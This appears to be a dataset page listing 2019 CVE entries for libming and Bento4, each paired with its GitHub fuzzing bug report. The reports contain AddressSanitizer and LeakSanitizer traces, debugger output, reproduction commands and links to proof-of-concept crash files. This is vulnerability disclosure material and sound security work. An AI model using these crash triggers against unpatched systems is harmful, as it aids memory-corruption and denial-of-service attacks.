Datasets:

DanCip

/

github-issues-references

like 0

CVE-2019-3572

2019-01-02T15:29:00.330

An issue was discovered in libming 0.4.8. There is a heap-based buffer over-read in the function writePNG in the file util/dbl2png.c of the dbl2png command-line program. Because this is associated with an erroneous call to png_write_row in libpng, an out-of-bounds write might occur for some memory layouts.

https://github.com/libming/libming/issues/169

github.com

I found a a heap-buffer-overflow problem in function writePNG in file ./util/dbl2png.c:234. [poc.zip](https://github.com/libming/libming/files/2714649/poc.zip) ./debug/bin/dbl2png --verbose in2.dbl out.png image data RGB outsize=1605 size 65535 x 33023 unpacked data size t=1600 byte channel count=3 Segmentation fault (core dumped) ``` ==48243==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fdd403ff404 at pc 0x7fdd44327733 bp 0x7ffd2f1f8fa0 sp 0x7ffd2f1f8748 READ of size 262140 at 0x7fdd403ff404 thread T0 #0 0x7fdd44327732 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732) #1 0x7fdd43e7fa17 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34 #2 0x7fdd43e7fa17 in png_write_row /home/fish/misc/libming/libpng-1.6.36/pngwrite.c:842 #3 0x557528274da6 in writePNG /home/fish/misc/libming/util/dbl2png.c:234 #4 0x5575282712d6 in main /home/fish/misc/libming/util/dbl2png.c:286 #5 0x7fdd43a8eb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #6 0x557528271859 in _start (/home/fish/misc/libming/afl/bin/dbl2png+0x2859) 0x7fdd403ff404 is located 0 bytes to the right of 66714628-byte region [0x7fdd3c45f800,0x7fdd403ff404) allocated by thread T0 here: #0 0x7fdd4438cb50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50) #1 0x55752827295b in readDBL /home/fish/misc/libming/util/dbl2png.c:133 #2 0x200000007 (<unknown module>) SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732) Shadow bytes around the buggy address: 0x0ffc28077e30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ffc28077e40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ffc28077e50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ffc28077e60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ffc28077e70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0ffc28077e80:[04]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ffc28077e90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ffc28077ea0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ffc28077eb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ffc28077ec0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ffc28077ed0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==48243==ABORTING #0 __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:427 #1 0x00007ffff79a6a18 in memcpy (__len=<optimized out>, __src=<optimized out>, __dest=<optimized out>) at /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34 #2 png_write_row (png_ptr=0x555555758490, row=<optimized out>) at pngwrite.c:842 #3 0x00005555555557e3 in writePNG (fp=0x555555758260, png=...) at dbl2png.c:234 #4 0x0000555555555a1a in main (argc=0x3, argv=0x7fffffffde68) at dbl2png.c:286 #5 0x00007ffff75b5b97 in __libc_start_main (main=0x5555555558a9 <main>, argc=0x3, argv=0x7fffffffde68, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffde58) at ../csu/libc-start.c:310 #6 0x0000555555554eca in _start () 229 if(png.color_type == PNG_COLOR_TYPE_RGB) 230 { 231 png_set_filler(png_ptr, 0, PNG_FILLER_BEFORE); 232 for (i=0;i<png.height-1;i++) 233 { // ptr=0x00007fffffffdce0 → [...] → 0x357a4fff2b6a42ff → 234 png_write_row(png_ptr,ptr); 235 ptr+=png.width * 4; 236 } 237 } 238 if(png.color_type == PNG_COLOR_TYPE_PALETTE) 239 { gef➤ p ptr + png.width * 4 * 261 $3 = (byte *) 0x7ffff7395bfc "" gef➤ p ptr + png.width * 4 * 262 $4 = (byte *) 0x7ffff73d5bf8 <error: Cannot access memory at address 0x7ffff73d5bf8> ```

a heap-buffer-overflow problem in function writePNG in file ./util/dbl2png.c:234

https://api.github.com/repos/libming/libming/issues/169/comments

2018-12-28T10:35:44Z

2019-01-07T16:23:12Z

https://github.com/libming/libming/issues/169

CVE-2018-20659

2019-01-02T17:29:00.220

An issue was discovered in Bento4 1.5.1-627. The AP4_StcoAtom class in Core/Ap4StcoAtom.cpp has an attempted excessive memory allocation when called from AP4_AtomFactory::CreateAtomFromStream in Core/Ap4AtomFactory.cpp, as demonstrated by mp42hls.

https://github.com/axiomatic-systems/Bento4/issues/350

github.com

A crafted input will lead to Memory allocation failed in Ap4StcoAtom.cpp at Bento4 1.5.1-627 Triggered by ./mp42hls crash7.mp4 Poc [crash7.mp4.zip](https://github.com/axiomatic-systems/Bento4/files/2718552/crash7.mp4.zip) Bento4 Version 1.5.1-627 The ASAN information is as follows: ``` ==10432==ERROR: AddressSanitizer failed to allocate 0x100002000 (4294975488) bytes of LargeMmapAllocator (error code: 12) ==10432==Process memory map follows: 0x00007fff7000-0x00008fff7000 0x00008fff7000-0x02008fff7000 0x02008fff7000-0x10007fff8000 0x561a5fbfc000-0x561a602a2000 /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/cmakebuild/mp42hls 0x561a604a1000-0x561a604ab000 /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/cmakebuild/mp42hls 0x561a604ab000-0x561a6067f000 /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/cmakebuild/mp42hls 0x600000000000-0x602000000000 0x602000000000-0x602000010000 0x602000010000-0x602e00000000 0x602e00000000-0x602e00010000 0x602e00010000-0x603000000000 0x603000000000-0x603000010000 0x603000010000-0x603e00000000 0x603e00000000-0x603e00010000 0x603e00010000-0x604000000000 0x604000000000-0x604000010000 0x604000010000-0x604e00000000 0x604e00000000-0x604e00010000 0x604e00010000-0x606000000000 0x606000000000-0x606000010000 0x606000010000-0x606e00000000 0x606e00000000-0x606e00010000 0x606e00010000-0x607000000000 0x607000000000-0x607000010000 0x607000010000-0x607e00000000 0x607e00000000-0x607e00010000 0x607e00010000-0x608000000000 0x608000000000-0x608000010000 0x608000010000-0x608e00000000 0x608e00000000-0x608e00010000 0x608e00010000-0x60b000000000 0x60b000000000-0x60b000010000 0x60b000010000-0x60be00000000 0x60be00000000-0x60be00010000 0x60be00010000-0x60c000000000 0x60c000000000-0x60c000010000 0x60c000010000-0x60ce00000000 0x60ce00000000-0x60ce00010000 0x60ce00010000-0x60d000000000 0x60d000000000-0x60d000010000 0x60d000010000-0x60de00000000 0x60de00000000-0x60de00010000 0x60de00010000-0x60e000000000 0x60e000000000-0x60e000010000 0x60e000010000-0x60ee00000000 0x60ee00000000-0x60ee00010000 0x60ee00010000-0x611000000000 0x611000000000-0x611000010000 0x611000010000-0x611e00000000 0x611e00000000-0x611e00010000 0x611e00010000-0x615000000000 0x615000000000-0x615000010000 0x615000010000-0x615e00000000 0x615e00000000-0x615e00010000 0x615e00010000-0x616000000000 0x616000000000-0x616000010000 0x616000010000-0x616e00000000 0x616e00000000-0x616e00010000 0x616e00010000-0x619000000000 0x619000000000-0x619000010000 0x619000010000-0x619e00000000 0x619e00000000-0x619e00010000 0x619e00010000-0x621000000000 0x621000000000-0x621000010000 0x621000010000-0x621e00000000 0x621e00000000-0x621e00010000 0x621e00010000-0x624000000000 0x624000000000-0x624000010000 0x624000010000-0x624e00000000 0x624e00000000-0x624e00010000 0x624e00010000-0x631000000000 0x631000000000-0x631000020000 0x631000020000-0x631e00000000 0x631e00000000-0x631e00010000 0x631e00010000-0x640000000000 0x640000000000-0x640000003000 0x7f8b99e00000-0x7f8b99f00000 0x7f8b9a000000-0x7f8b9a100000 0x7f8b9a200000-0x7f8b9a300000 0x7f8b9a400000-0x7f8b9a500000 0x7f8b9a600000-0x7f8b9a700000 0x7f8b9a770000-0x7f8b9cac2000 0x7f8b9cac2000-0x7f8b9cc5f000 /lib/x86_64-linux-gnu/libm-2.27.so 0x7f8b9cc5f000-0x7f8b9ce5e000 /lib/x86_64-linux-gnu/libm-2.27.so 0x7f8b9ce5e000-0x7f8b9ce5f000 /lib/x86_64-linux-gnu/libm-2.27.so 0x7f8b9ce5f000-0x7f8b9ce60000 /lib/x86_64-linux-gnu/libm-2.27.so 0x7f8b9ce60000-0x7f8b9ce7a000 /lib/x86_64-linux-gnu/libpthread-2.27.so 0x7f8b9ce7a000-0x7f8b9d079000 /lib/x86_64-linux-gnu/libpthread-2.27.so 0x7f8b9d079000-0x7f8b9d07a000 /lib/x86_64-linux-gnu/libpthread-2.27.so 0x7f8b9d07a000-0x7f8b9d07b000 /lib/x86_64-linux-gnu/libpthread-2.27.so 0x7f8b9d07b000-0x7f8b9d07f000 0x7f8b9d07f000-0x7f8b9d086000 /lib/x86_64-linux-gnu/librt-2.27.so 0x7f8b9d086000-0x7f8b9d285000 /lib/x86_64-linux-gnu/librt-2.27.so 0x7f8b9d285000-0x7f8b9d286000 /lib/x86_64-linux-gnu/librt-2.27.so 0x7f8b9d286000-0x7f8b9d287000 /lib/x86_64-linux-gnu/librt-2.27.so 0x7f8b9d287000-0x7f8b9d28a000 /lib/x86_64-linux-gnu/libdl-2.27.so 0x7f8b9d28a000-0x7f8b9d489000 /lib/x86_64-linux-gnu/libdl-2.27.so 0x7f8b9d489000-0x7f8b9d48a000 /lib/x86_64-linux-gnu/libdl-2.27.so 0x7f8b9d48a000-0x7f8b9d48b000 /lib/x86_64-linux-gnu/libdl-2.27.so 0x7f8b9d48b000-0x7f8b9d672000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7f8b9d672000-0x7f8b9d872000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7f8b9d872000-0x7f8b9d876000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7f8b9d876000-0x7f8b9d878000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7f8b9d878000-0x7f8b9d87c000 0x7f8b9d87c000-0x7f8b9d893000 /lib/x86_64-linux-gnu/libgcc_s.so.1 0x7f8b9d893000-0x7f8b9da92000 /lib/x86_64-linux-gnu/libgcc_s.so.1 0x7f8b9da92000-0x7f8b9da93000 /lib/x86_64-linux-gnu/libgcc_s.so.1 0x7f8b9da93000-0x7f8b9da94000 /lib/x86_64-linux-gnu/libgcc_s.so.1 0x7f8b9da94000-0x7f8b9dc0d000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25 0x7f8b9dc0d000-0x7f8b9de0d000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25 0x7f8b9de0d000-0x7f8b9de17000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25 0x7f8b9de17000-0x7f8b9de19000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25 0x7f8b9de19000-0x7f8b9de1d000 0x7f8b9de1d000-0x7f8b9df6d000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0 0x7f8b9df6d000-0x7f8b9e16d000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0 0x7f8b9e16d000-0x7f8b9e170000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0 0x7f8b9e170000-0x7f8b9e173000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0 0x7f8b9e173000-0x7f8b9edd8000 0x7f8b9edd8000-0x7f8b9edff000 /lib/x86_64-linux-gnu/ld-2.27.so 0x7f8b9ee9f000-0x7f8b9efea000 0x7f8b9efea000-0x7f8b9efff000 0x7f8b9efff000-0x7f8b9f000000 /lib/x86_64-linux-gnu/ld-2.27.so 0x7f8b9f000000-0x7f8b9f001000 /lib/x86_64-linux-gnu/ld-2.27.so 0x7f8b9f001000-0x7f8b9f002000 0x7ffce3bd8000-0x7ffce3bf9000 [stack] 0x7ffce3bfb000-0x7ffce3bfe000 [vvar] 0x7ffce3bfe000-0x7ffce3c00000 [vdso] 0xffffffffff600000-0xffffffffff601000 [vsyscall] ==10432==End of process memory map. ==10432==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_common.cc:118 "((0 && "unable to mmap")) != (0)" (0x0, 0x0) #0 0x7f8b9df06c02 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe9c02) #1 0x7f8b9df25595 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x108595) #2 0x7f8b9df10492 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xf3492) #3 0x7f8b9df1c8a5 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xff8a5) #4 0x7f8b9de46a51 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x29a51) #5 0x7f8b9defd5de in operator new[](unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe05de) #6 0x561a5ffcf4c4 in AP4_StcoAtom::AP4_StcoAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4StcoAtom.cpp:81 #7 0x561a5ffcf104 in AP4_StcoAtom::Create(unsigned int, AP4_ByteStream&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4StcoAtom.cpp:52 #8 0x561a5ff41d64 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:434 #9 0x561a5ff40310 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:221 #10 0x561a5ff515bc in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:194 #11 0x561a5ffbe494 in AP4_SampleEntry::Read(AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4SampleEntry.cpp:115 #12 0x561a5ffc2710 in AP4_VisualSampleEntry::AP4_VisualSampleEntry(unsigned int, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4SampleEntry.cpp:742 #13 0x561a5ffc3f00 in AP4_AvcSampleEntry::AP4_AvcSampleEntry(unsigned int, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4SampleEntry.cpp:994 #14 0x561a5ff40e2d in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:306 #15 0x561a5ff40310 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:221 #16 0x561a5ffd4ce5 in AP4_StsdAtom::AP4_StsdAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4StsdAtom.cpp:101 #17 0x561a5ffd4553 in AP4_StsdAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4StsdAtom.cpp:57 #18 0x561a5ff41ca4 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:424 #19 0x561a5ff40310 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:221 #20 0x561a5ff515bc in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:194 #21 0x561a5ff51030 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:139 #22 0x561a5ff50b8e in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:88 #23 0x561a5ff43519 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:764 #24 0x561a5ff40310 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:221 #25 0x561a5ff515bc in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:194 #26 0x561a5ff51030 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:139 #27 0x561a5ff50b8e in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:88 #28 0x561a5ff43519 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:764 #29 0x561a5ff40310 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:221 #30 0x561a5ff515bc in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:194 #31 0x561a5ff51030 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:139 #32 0x561a5ff50b8e in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:88 #33 0x561a5ff43519 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:764 #34 0x561a5ff40310 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:221 #35 0x561a5ff515bc in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:194 #36 0x561a5ff51030 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:139 #37 0x561a5ffeb530 in AP4_TrakAtom::AP4_TrakAtom(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4TrakAtom.cpp:165 #38 0x561a5ff44589 in AP4_TrakAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) (/home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/cmakebuild/mp42hls+0x348589) #39 0x561a5ff4193d in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:379 #40 0x561a5ff40310 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:221 #41 0x561a5ff515bc in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:194 #42 0x561a5ff51030 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:139 #43 0x561a5ff83d52 in AP4_MoovAtom::AP4_MoovAtom(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4MoovAtom.cpp:80 #44 0x561a5ff44523 in AP4_MoovAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) (/home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/cmakebuild/mp42hls+0x348523) #45 0x561a5ff417b6 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:359 #46 0x561a5ff40310 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:221 #47 0x561a5ff3f8d3 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:151 #48 0x561a5ff60849 in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4File.cpp:104 #49 0x561a5ff604b8 in AP4_File::AP4_File(AP4_ByteStream&, bool) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4File.cpp:78 #50 0x561a5ff2cec3 in main /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Apps/Mp42Hls/Mp42Hls.cpp:1837 #51 0x7f8b9d4acb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #52 0x561a5ff20a89 in _start (/home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/cmakebuild/mp42hls+0x324a89) ``` FoundBy: yjiiit@aliyun.com

Allocate for large amounts of memory failed in Ap4StcoAtom.cpp:81 at Bento4 1.5.1-627 when running mp42hls

https://api.github.com/repos/axiomatic-systems/Bento4/issues/350/comments

2018-12-31T15:52:26Z

2019-01-12T21:14:48Z

https://github.com/axiomatic-systems/Bento4/issues/350

CVE-2019-6132

2019-01-11T05:29:01.763

An issue was discovered in Bento4 v1.5.1-627. There is a memory leak in AP4_DescriptorFactory::CreateDescriptorFromStream in Core/Ap4DescriptorFactory.cpp when called from the AP4_EsdsAtom class in Core/Ap4EsdsAtom.cpp, as demonstrated by mp42aac.

https://github.com/axiomatic-systems/Bento4/issues/357

github.com

there is memory leaks in Ap4String.cpp ./mp42aac poc /dev/null ================================================================= ==15810==ERROR: LeakSanitizer: detected memory leaks Direct leak of 96 byte(s) in 1 object(s) allocated from: #0 0x522860 in operator new(unsigned long) (/root/apps/Bento4/mp42aac+0x522860) #1 0x5c80a5 in AP4_DescriptorFactory::CreateDescriptorFromStream(AP4_ByteStream&, AP4_Descriptor*&) /root/apps/Bento4/Source/C++/Core/Ap4DescriptorFactory.cpp:122:22 #2 0x5f8687 in AP4_EsdsAtom::AP4_EsdsAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&) /root/apps/Bento4/Source/C++/Core/Ap4EsdsAtom.cpp:76:9 #3 0x5f8687 in AP4_EsdsAtom::Create(unsigned int, AP4_ByteStream&) /root/apps/Bento4/Source/C++/Core/Ap4EsdsAtom.cpp:52 #4 0x5e14cb in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /root/apps/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:474:20 #5 0x5ddaa0 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /root/apps/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:221:14 #6 0x5d6aa5 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /root/apps/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194:12 #7 0x56699d in AP4_SampleEntry::Read(AP4_ByteStream&, AP4_AtomFactory&) /root/apps/Bento4/Source/C++/Core/Ap4SampleEntry.cpp:115:9 Indirect leak of 32 byte(s) in 1 object(s) allocated from: #0 0x5229e0 in operator new[](unsigned long) (/root/apps/Bento4/mp42aac+0x5229e0) #1 0x557d0a in AP4_String::Assign(char const*, unsigned int) /root/apps/Bento4/Source/C++/Core/Ap4String.cpp:165:15 SUMMARY: AddressSanitizer: 128 byte(s) leaked in 2 allocation(s). [bento4-memory-leak-AP4_String.zip](https://github.com/axiomatic-systems/Bento4/files/2746334/bento4-memory-leak-AP4_String.zip)

memory leaks in Ap4String.cpp

https://api.github.com/repos/axiomatic-systems/Bento4/issues/357/comments

2019-01-10T17:00:31Z

2019-01-12T09:36:13Z

https://github.com/axiomatic-systems/Bento4/issues/357

CVE-2019-6966

2019-01-25T23:29:00.237

An issue was discovered in Bento4 1.5.1-628. The AP4_ElstAtom class in Core/Ap4ElstAtom.cpp has an attempted excessive memory allocation related to AP4_Array<AP4_ElstEntry>::EnsureCapacity in Core/Ap4Array.h, as demonstrated by mp42hls.

https://github.com/axiomatic-systems/Bento4/issues/361

github.com

